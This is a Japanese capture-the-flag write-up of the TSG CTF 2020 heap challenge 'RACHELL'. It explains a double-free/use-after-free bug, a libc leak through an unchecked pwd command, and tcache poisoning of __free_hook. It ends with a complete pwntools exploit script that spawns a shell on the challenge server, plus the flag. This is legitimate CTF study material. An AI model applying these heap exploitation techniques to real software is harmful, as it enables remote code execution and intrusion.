Try   HackMD

これまでに解いた問題: https://hackmd.io/@Xornet/BkemeSAhU

TSG CTF 2020 - RACHELL

Writeup

Outline

シェルを模したプログラムでファイルに関係するコマンドはだいたい出来る
ファイルやディレクトリの作成時にnode構造体, 名前の為の領域が固定サイズのmallocで確保される。また、ファイルへの書き込みの際には可変サイズでmallocが起こり、ファイル内容のためのバッファが確保される
削除時にfreeが起こるが、ディレクトリの場合はnode構造体のみが、ファイルの場合は内容を書き込んだ場合はnodeに加えてバッファもfreeされる。
また、親ディレクトリからもunlinkされ、この際にポインタが削除されることから普通はDouble FreeやUAFは出来ない
のだが、別ディレクトリにあるファイルを削除する時に限り、ファイル内容のバッファを指すポインタが生き残る。以降も削除, 編集が出来るのでDouble Free, UAFになる
ここまで行くとHeap領域のコントロールが面倒なだけの問題であるが、肝心のshow機能が存在しない(catコマンドがあるが"実装してないよ"って言われる)
では、ファイル名やディレクトリ名のある領域にlibcのアドレスを出現させてそれをlsコマンドで読もうというのが考えられるがASCII文字列として無効なバイトが混じっていると即exitする
ではshowless leakということでstdoutやstderrをPartial Overwriteで弄って強引に出現させようとするが、全ての出力がwrite関数で行われており、そもそもstdout, stderrは使えない
最早絶望的だが実はpwdコマンドだけASCIIチェックが無い。これを利用してカレントディレクトリの文字列が入っているところにUnsorted Binの切り出しでlibcのアドレスを出現させる。
後はDouble Freeが普通にあるのでtcache poisoningでシェル起動アドレスを__free_hookに放り込む

checksec

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Binary

  • libc: 2.27
  • 保持可能ポインタ: 特に制限無し
  • malloc可能サイズ: コマンドによるがだいたい無制限
  • コマンド: 沢山あるので後述

definition

今回使う定数や構造体の定義は次の通り

#define NAMELEN 0x20
#define MAXPATH_LEN 0x100
#define MAXCHILD 0x10
#define SYSBUF 0x5000

typedef enum{       // type of node
    DIR,            // directory
    FIL,            // file
} NTYPE;

struct node{
    NTYPE type;                 // node type 
    struct node *p;             // parent pointer
    struct node *c[MAXCHILD];   // child pointers
    char *name;                 // node name <= NAMELEN
    char *buf;                  // node content
    unsigned int size;          // node content size
};

Commands

mkdir

mkdirコマンドが呼ばれるとディレクトリ名のチェック等を経てからmk関数が呼ばれる。重要な部分だけを抜粋すると次のようになっている

  struct node *new = malloc(sizeof(struct node));
  new->name = malloc(NAMELEN+1); 
  strncpy(new->name,name,NAMELEN);
  new->name[strlen(name)] = '\x00';
  new->p = cwd;
  for(int ix=0;ix!=MAXCHILD;++ix)
      new->c[ix] = NULL;
  new->type = type;
  new->buf = NULL;
  new->size = 0;

  cwd->c[find_first_empty(cwd)] = new;
  return new;

node構造体を新しく作成し、名前用の領域も確保している。typeにはDIRが格納される

touch

mkdirコマンドのファイル版で、typeFILが入るところ以外はだいたい同じ

rm

機能の大部分はrmコマンドのサブモジュールであるsub_rm関数とunlink_child関数で行われている

// Unlink a specified child from its parent.
void unlink_child(struct node *target)
{
  for(int ix=0;ix!=MAXCHILD;++ix){
    if(target->p->c[ix] == target){
      target->p->c[ix] = NULL;
      return;
    }
  }
  write(1,"unlink failed\n",14);
  panic();
}

// Submodule of rm().
void sub_rm(struct node *target)
{
  if(target == &root){
    write(1,"not allowed\n",12);
    return;
  }
  if(target->p == cwd){
    switch(target->type){
      case FIL:
        if(target->buf != NULL)
          free(target->buf);
        unlink_child(target);
        break;
      case DIR:
        unlink_child(target);
        free(target);
        break;
      default:
        panic();
    }
  }else{
    switch(target->type){
      case FIL:
        if(target->buf != NULL)
          // double free??
          free(target->buf);
        break;
      case DIR:
        unlink_child(target);
        free(target);
        break;
      default:
        panic();
    }
  }
}

コメントのdouble free??の部分に脆弱性がある(元からあったわけではなく私が追記したものです)
カレントディレクトリに無いファイルを相対パス指定で削除する際にunlink_child(target)が発生しない。よってfreeして以降もファイルが生き残っていることからDouble Freeが存在する。
更に後述するechoコマンドでUAF(write)も出来る

echo

echo自体は特に面白いことはない、重要なのはリダイレクトをする際に呼ばれるwrite2file関数である
これは指定したファイルのバッファにバイト列を書き込んでくれる

// Write content at buffer of the specified node.
void write2file(struct node *target, const char *content, unsigned size)
{
  if(target->buf == NULL){
    target->buf = malloc(size);
    // find newline
    for(int ix=0; ix!=size; ++ix){
      if(content[ix] == '\r'){
        size = ix;
        break;
      }
    }
    memcpy(target->buf,content,size);
    target->size = size;
  }else{
    if(size > target->size){ // re-allocation
      free(target->buf);
      target->buf = malloc(size+1);
      // find newline
      for(int ix=0; ix!=size; ++ix){
        if(content[ix] == '\r'){
          size = ix;
          break;
        }
      }
      memcpy(target->buf,content,size);
      target->size = size;
    }else{                              // use same buffer
      memcpy(target->buf,content,size);
    }
  }
}

target->bufがnullなら新しく確保する。この際arg> というプロンプトが表示された後にsysbufに書き込んだサイズだけmallocで要求される
sysbufからtarget->bufへの書き込み時には\rに遭遇するまで書き込まれる。
よって単にmallocだけをしたい時は先頭に\rを置いたバイト列を書き込むようにすればいい、但しnodeのsizeメンバは0になる

既にtarget->bufが存在する場合は書き込みたいサイズとtarget->sizeの大きさが比較され、前者の方が小さい場合は別のバッファが確保される。
そしてmemcpyで内容を書き込む

cd

カレントディレクトリを変える

pwd

カレントディレクトリを表示する。次で説明するascii_checkが唯一無い表示コマンドである

// Check if the name consists only of allowed ASCII chars.
// Return 1 if the name contains only allowed ASCII chars.
// Return 0 otherwise.
// Allowed chars are [\n,-,@,0-9,a-z,A-Z,_,.]
unsigned char ascii_check(const char *name, unsigned int size)
{
    char c;
    for(int ix=0;ix!=size;++ix){
        c = name[ix];
        if(c=='\n' || c=='-' || (0x30<=c && c<=0x39) || (0x40<=c && c<=0x5a) || (0x61<=c && c<=0x7a) || c=='_' || c=='.')
            continue;
        return 0;
    }
    return 1;
}

これを見れば分かる通り、printableで無い文字列と大半の記号を弾いている。大半の表示系コマンドで使われており、これによって例えばファイル名のあるチャンクにlibc中のアドレスを降らせてlsコマンド(ここで解説していないがある)で読むことは叶わない(先頭から0x7fなので)。

cat

// "cat" command.
// TODO: I have to implement it until the CTF. Otherwise, impossible to solve.
void cat(void)
{
  write(1,"not implemented\n",16);
}

はい

libc leak

以上のコマンド群を利用してとりあえずlibc leakする、というかこれが出来れば9割クリアしたようなものである
方針としてはまともなshow機能が無いのでHeap Leakは諦め、UAF(write)を利用したPartial Overwriteでチャンクのサイズを一発でUnsorted Binに送ることが出来るように書き換える。
続いて下のチャンクを整えるついでに大きなチャンク内にどこかのディレクトリの名前が入るチャンクをオーバーラップさせる。
オーバーラップしたチャンクに入っている名前のディレクトリに移動し、Unsorted Binからの切り出しを発生させて名前の部分にmain_arenaのtopに相当するアドレスを出現させ、それをpwdコマンドで読んでlibc leakする

操作するポインタは出来るだけファイルの内容のバッファにする。自由な書き込みが出来る上にサイズも融通が効く。
下記コードで最初にnodeやname分のチャンクを作ってtcacheに放り込んでいるのはHeap上でファイルバッファが出来るだけ連続するようにしているからである。

まずはtcacheのリンクリストを書き換えてチャンクのサイズヘッダを書き換える。Heapのアドレスは当然知らないのでサイズの部分とデータが入る部分が0x10しか異ならないことを利用してPartial Overwriteをする。
これでA -> BだったリンクリストをA -> B - 0x10のようにし、echoコマンドでBのサイズをUnsorted Binに入るような大きさにする(今回は0x420)、またUnsorted Binに入れる際のチェックが無駄に走らないようにPREV_INUSEフラグは立てたままにする

この状態でBをfreeすればUnsorted Binに放り込まれようとするのだが、もちろん下のチャンクを整えていないのでabortする。というわけで再びファイルを作って偽装チャンクを作るようなechoコマンドを発生させる。
また、Unsorted Binの切り出しでlibc中のアドレスがカレントディレクトリの名前に降ってきて欲しいので大きくしたBのチャンクに中にあるディレクトリの名前が来るようにし、その上でそのディレクトリ上でコマンドを叩くようにする。
ここが1番大変で、というのも上手くtcacheを操作しないとカレントディレクトリの名前の上のチャンクがそのディレクトリのnodeになってしまい、下手に切り出したり下手にechoすることでカレントディレクトリのnodeが壊れてしまいSIGSEGVを連発する(しました)

結局最終的に次のような配置を強引に作ってからBをfreeした

00 00 00 00 00 00 00 00 | 21 04 00 00 00 00 00 00 <- サイズ
- 偽装されたチャンク B
|  ...
|  node構造体 X: 下のY->nameをmallocする前にfreeしてnode構造体 Yに生まれ変わる
|  X->name
|  Y-> name: node Y自体はXのを再利用
-  ...
Bのconsolidationを防ぐためのチャンク(偽装)
topチャンク

この状態でまた適当なファイルを作成し、サイズを上手いこと調整してY->nameにmain_arenaのtopに対応するアドレスが降ってくるようにする。
ここも鬼門でファイル作成時に必ず発生する固定サイズのmalloc(0xb0, 0x30のチャンクが作られる)が面倒なので適当にtcacheにこれらのサイズを退避させておいてUnsorted Binから切り出されないようにする。
そしてファイルのバッファ作成時にサイズを指定出来るのでここでカレントディレクトリの名前部分にアドレスを降らせる。
この際、node Yのデータが上書きされて死なないようにechoで\rを先頭に送り込んでmallocだけが行われるようにしておく

いつもの

libc leakだけなのに長かった。
あとはrmで他のディレクトリにあるファイルを利用してDouble Free出来るのでtcache poisoningで__free_hookにシェル起動アドレスを放り込むだけである。
"/bin/sh"を叩き込むのが面倒だったので「お願い!!One Gadget!!」したら通った、良かった

Code

from pwn import p64, u64, ELF, process, remote


def command(s, cmd, c=b"command> "):
    s.recvuntil(c)
    s.sendline(cmd)


def mkdir(s, dir_name):
    command(s, b"mkdir")
    s.recvuntil(b"name> ")
    s.sendline(dir_name)


def cd(s, dir_name):
    command(s, b"cd")
    s.recvuntil(b"path> ")
    s.sendline(dir_name)


def touch(s, file_name):
    command(s, b"touch")
    s.recvuntil(b"filename> ")
    s.sendline(file_name)


def rm(s, file_name):
    command(s, b"rm")
    s.recvuntil(b"filename> ")
    s.sendline(file_name)


def echo(s, arg, file_name, redirect=False):
    command(s, b"echo")
    s.recvuntil(b"arg> ")
    s.sendline(arg)
    s.recvuntil(b"redirect?> ")
    if redirect:
        s.sendline("y")
        s.recvuntil(b"path> ")
        s.sendline(file_name)
    else:
        s.sendline("n")


def pwd(s, c=None):
    command(s, b"pwd")
    if c is not None:
        s.recvuntil(c)
    return s.recvline().rstrip()


def edit(s, idx, data, dir_name):
    echo(s, data, f"./{dir_name}/{idx}", True)


def delete(s, idx, dir_name):
    rm(s, f"./{dir_name}/{idx}")


def to_root(s):
    cd(s, "../")


if __name__ == "__main__":
    # s = process("./rachell")
    s = remote("35.221.81.216", 25252)
    libc = ELF("./libc.so.6")
    free_hook_libc = libc.symbols["__free_hook"]
    onegadgets = [0x4f2c5, 0x4f322, 0x10a38c]
    # ready 0xb0 (sizeof(node)) and 0x30 (sizeof(node->name))
    for i in range(7):
        mkdir(s, "d" + str(i))
        touch(s, "f" + str(i))
        echo(s, "a" * 0x28, "f" + str(i), True)

    for i in range(1, 7):
        rm(s, f"./f{i}")
        rm(s, f"./d{i}")

    d = "size"
    mkdir(s, d)
    cd(s, d)

    touch(s, "0")
    touch(s, "1")
    echo(s, "\x00" * 0x38, "./0", True)
    echo(s, "\x00" * 0x38, "./1", True)

    to_root(s)

    delete(s, 1, d)
    delete(s, 0, d)

    edit(s, 0, b"\x20", d)

    touch(s, "10")
    touch(s, "11")
    echo(s, "\x00" * 0x38, "./10", True)
    echo(s, "\x00" * 0x38, "./11", True)
    size = 0x420
    echo(s, p64(0x30) + p64(size + 1), "./11", True)

    cd(s, d)
    touch(s, "fake")
    mkdir(s, "junk")
    rm(s, "./junk")
    mkdir(s, "pwd")
    cd(s, "pwd")
    fake_chunk = b"a" * (0x410 - 0x40 - 0xb0 - 0x30 * 2) + p64(0x420) + p64(0x21) + b"a" * 0x18
    echo(s, fake_chunk, "../fake", True)

    rm(s, "../1")

    rm(s, "../../f0")
    rm(s, "../../home")

    touch(s, "unsort")
    # s.interactive()

    cut_size = 0xb0 + 0x30 * 2 + 0x10 - 0x8
    echo(s, "\r" * cut_size, "./unsort", True)

    libc_addr = u64(pwd(s, b"/size/").ljust(8, b"\x00")) - 0x3ebca0
    print(hex(libc_addr))

    to_root(s)
    to_root(s)

    mkdir(s, "double")
    cd(s, "double")
    touch(s, "free")
    echo(s, "\r" * 0x18, "free", True)
    to_root(s)
    delete(s, "free", "double")
    delete(s, "free", "double")

    touch(s, "poison1")
    echo(s, p64(libc_addr + free_hook_libc), "poison1", True)
    touch(s, "poison2")
    echo(s, "\r" * 0x18, "poison2", True)
    touch(s, "poison3")
    echo(s, p64(libc_addr + onegadgets[1]), "poison3", True)

    rm(s, "./poison2")
    s.interactive()

Flag

当日は解けませんでしたが、まだ鯖が生きていたので解きました

TSGCTF{beer_is_delicious_if_you_dont_taste_it_6592867821310}

感想

想定解がHouse of Corrosionなところまでは当日わかりましたが(show機能が貧弱過ぎるので)、理解と実装が追いつかなくて当日解けませんでした。
そういうわけで、pwdにASCIIチェックが無いことを利用した非想定解の方で解きましたがこちらもかなり大変でした
create時に2つのmallocが走る上に自由な書き込みが出来るmallocは更にもう一段階欲しいせいでHeapの構造がグッッッッッッチャグチャになって発狂してました(実際昨日はそのせいでやる気が死滅した)

TSGCTF 2020で自分が触った問題の復習が無事に終わったので次からはまた別の問題探しに勤しみます。2.23の環境が無事に用意できたので最新の問題の内2.23で動いているものをやろうかと思っています

また、今回のようにn択のHeap問題ではなく、汎用的なプログラムとHeapの対応を見つけて解くような難しめの問題も探して挑んでみたいです、良問情報がありましたらよろしくお願いします